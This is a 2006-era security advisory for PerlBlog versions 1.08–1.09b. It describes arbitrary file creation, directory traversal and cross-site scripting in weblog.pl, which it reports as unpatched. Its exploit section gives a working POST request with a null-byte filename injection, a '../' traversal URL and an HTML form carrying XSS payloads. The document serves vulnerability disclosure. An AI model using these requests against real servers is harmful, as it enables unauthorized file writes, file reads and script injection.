PerlBlog versions 1.09b, 1.09, and 1.08 have been discovered as being susceptible to arbitrary file creation, directory traversal, and cross site scripting flaws. Exploit details provided.
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PerlBlog Multiple Vulnerabilities
http://evuln.com/vulns/81/summary.html
--------------------Summary----------------
eVuln ID: EV0081
CVE: CVE-2006-0780 CVE-2006-0781 CVE-2006-0782
Software: PerlBlog
Sowtware's Web Site: http://www.chronicled.org/perlblog/
Versions: 1.09b 1.09 1.08 - checked
Critical Level: Dangerous
Type: Multiple Vulnerabilities
Class: Remote
Status: Unpatched. No reply from developer(s)
Exploit: Available
Solution: Not Available
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)
-----------------Description---------------
1. Arbitrary file creation with user-defined data.
Vulnerable script: weblog.pl
User-defined post variables are not properly sanitized. "reply" parameter may contain arbitrary filename. weblog.pl creates a file with "name" and "body" parameter values included.
System access is possible.
2. Directory traversal vulnerability.
Vulnerable script: weblog.pl
Input parameter "month" isn't properly sanitized. This can be used to read arbitrary txt-files.
3. Cross-Site Scripting vulnerability.
Vulnerable script: weblog.pl
Post variables "name" and "email" are not properly sanitized. This can be used to post arbitrary HTML or JavaScript code.
--------------Exploit----------------------
Available at: http://evuln.com/vulns/81/exploit.html
1. Arbitrary file creation with user-defined data.
HTTP query example:
POST /cgi-bin/perlblog/weblog.pl HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: [host]
Content-Length: 124
date=02/14/2006-23:33&headerfile=200505&subject=Re: Welcome!&reply=[anyfilename]% 00&name=[anytext]&body=[anytext]&post=reply
2. Directory traversal vulnerability.
http://[host]/cgi-bin/perlblog/weblog.pl? month=../license
3. Cross-Site Scripting vulnerability.
<FORM NAME="forum" ACTION="http://[host]/cgi-bin/perlblog/weblog.pl" METHOD="POST">
<INPUT NAME="date" VALUE="02/14/2006-23:33">
<INPUT NAME="headerfile" VALUE="200505">
<INPUT NAME="subject" VALUE="Re: Welcome!">
<INPUT NAME="reply" VALUE="1">
<INPUT NAME="post" VALUE="reply">
<INPUT TYPE="TEXT" NAME="name" value='[XSS]'>
<INPUT TYPE="TEXT" NAME="email" value='">[XSS]'>
<TEXTAREA></TEXTAREA>
<INPUT TYPE="Submit" VALUE="Post Comment">
</FORM>
--------------Solution---------------------
No Patch available.
--------------Credit-----------------------
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)
Regards,
Aliaksandr Hartsuyeu
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